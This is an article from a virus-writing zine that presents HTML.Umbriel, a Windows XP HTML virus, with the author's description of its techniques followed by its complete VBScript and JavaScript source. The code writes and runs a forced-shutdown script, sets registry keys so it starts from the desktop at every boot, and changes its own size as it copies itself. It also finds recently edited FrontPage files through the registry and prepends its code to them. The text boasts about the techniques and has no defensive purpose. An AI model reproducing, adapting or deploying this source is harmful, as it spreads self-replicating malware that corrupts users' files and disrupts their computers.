Last article | Table of contents | Next article |
---|
HTML.Umbriel by Second Part To Hell
HTML.Umbriel for WindowsXP by Second Part To Hell[rRlf] www.spth.de.vu written from 25.04.2003 to 28.04.2003 in Austria You may think: "Another lame HTML-virus"... You aren't right ;) The virus shows 4 techniques I found while discovering some nice things at WinXP: Technique 1: It's a lame non-destructive payload for DOS XP (CMD.exe) It shutdowns the computer with a 300sec countdown. It's fuckin' hard to stop the countdown, if you don't know, how it works. Technique 2: You are able to add a HTML-file to the WinXP desktop. Windows saves the path of that file in the registry. Because of the fact, that the desktop is started every Windows-start, also the HTML-file run every Windows-start. That means, that's a new start-up technique for WinXP. You just have to make a HTML file running the virus and make two reg-keys like this HTML file. Technique 3: That's a really (!!!) lame polymorphism. You will find it in the JavaScript-part in he middle of the virus. I think, I don't have to say anything more about it. Technique 4: What does a HTML-virus do? Searching for files in (the current and maybe in the temp) directories. OK, but I don't think, that this is the most successful way of finding files. How to do that better? With the registry. I found out, that FrontPage saves the files generated with it in the registry. So you have to copy the value of the key and... you have the file! Maybe you will ask, why finding files in directories isn't good. The answer is: You won't find files used often by the computer-user. The chance to find files from the registry, that are often used is much bigger than just any file. General Infos: VirusName................. HTML.Umbriel (that's a moon of uranus) VirusAuthor............... Second Part To Hell[rRlf] VirusSize................. different - first gen: 3.465 Byte Infection................. Infects the last 5 files (most are HTM, HTML, HTT, ...) generated with FrontPage Copies the virus-code in front of the real file Payload................... Yes (one out of five times it starts a shutdown-countdown with 300sec) Encryption................ No Autostart................. Yes (includes itself to the desktop :D ) Polymorphism.............. Not really (adds rem [at VBS parts] or /* */ [at JS part], that's just for changing the size) I have to thank these two people: + Bumblebee <-- for your HTML.Lame ;) helped much, but I tried to not copy anything from it! + Gerry (friend from school) <-- for helping me with the idea of the desktop thing. Thx! -------------------------------------------[HTML.Ubriel for WindowsXP]------------------------------------------- <html><!--Umbriel--> <head> <title> Second Part To Hell's HTML.Umbriel </title> </head> <body> <script language="VBScript"> rem VBS On Error Resume Next Dim fso, shell, wrte, tempdir, windir, rand, file Set fso=CreateObject("Scripting.FileSystemObject") Set shell=CreateObject("Wscript.Shell") if err.number=429 Then shell.Run javascript:location.reload() End If Set windir=fso.GetSpecialFolder(0) Set tempdir=fso.GetSpecialFolder(2) Set wrte=fso.CreateTextFile(windir+"\windows.cmd") wrte.WriteLine "cls" wrte.WriteLine "@echo off" wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34) wrte.Close() shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html" shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html" Randomize rand=int(rnd*5)+1 If rand=1 then shell.Run windir+"\windows.cmd" End If </script> <script language="JavaScript"> // JS var viruspath, virus, code, fso, file, check, checka, checkb fso=new ActiveXObject("Scripting.FileSystemObject") viruspath=window.location.pathname viruspath=viruspath.slice(1) virus=fso.OpenTextFile(viruspath,1) file=fso.CreateTextFile("C:\\umbriel.html") for (i=0; i<500; i++) { if (checkb!=1) { if (Math.round(Math.random()*5)+1 == 3) { if (check == 2) { file.WriteLine("/"+"*") file.WriteLine("*"+"/") } if (check == 3) { file.WriteLine("rem") } } code=virus.ReadLine() if (code == "/"+"*") { checka=666 } if (code == "*"+"/") { checka=666 } if (code == "rem") { checka=666 } if (checka != 666 ) { file.WriteLine(code) } checka=0 if (code=="</"+unescape("%68")+"tml>") { checkb=1 } if (code=="// JS") { check=2 } if (code=="rem VBS") { check=3 } if (code=="</"+unescape("%73")+"cript>") { check=0 } } } virus.Close(); file.Close(); </script> <script language="VBScript"> rem VBS On Error Resume Next set fso=CreateObject("Scripting.FileSystemObject") set shell=CreateObject("WScript.Shell") set myfile=fso.OpenTextFile("C:\umbriel.html") mycode=myfile.ReadAll myfile.Close() rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4") if rr <> "" Then Call Umbriel(rr, mycode) rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5") if rr <> "" Then Call Umbriel(rr, mycode) Sub Umbriel(rr, mycode) set victim=fso.OpenTextFile(rr) infcheck=victim.ReadLine If infcheck<>"<html><!--Umbriel-->" Then viccode=victim.ReadAll victim.Close() set wrtevic=fso.OpenTextFile(rr, 2, false, 0) wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode) wrtevic.Close End If End Sub </script> </body> </html>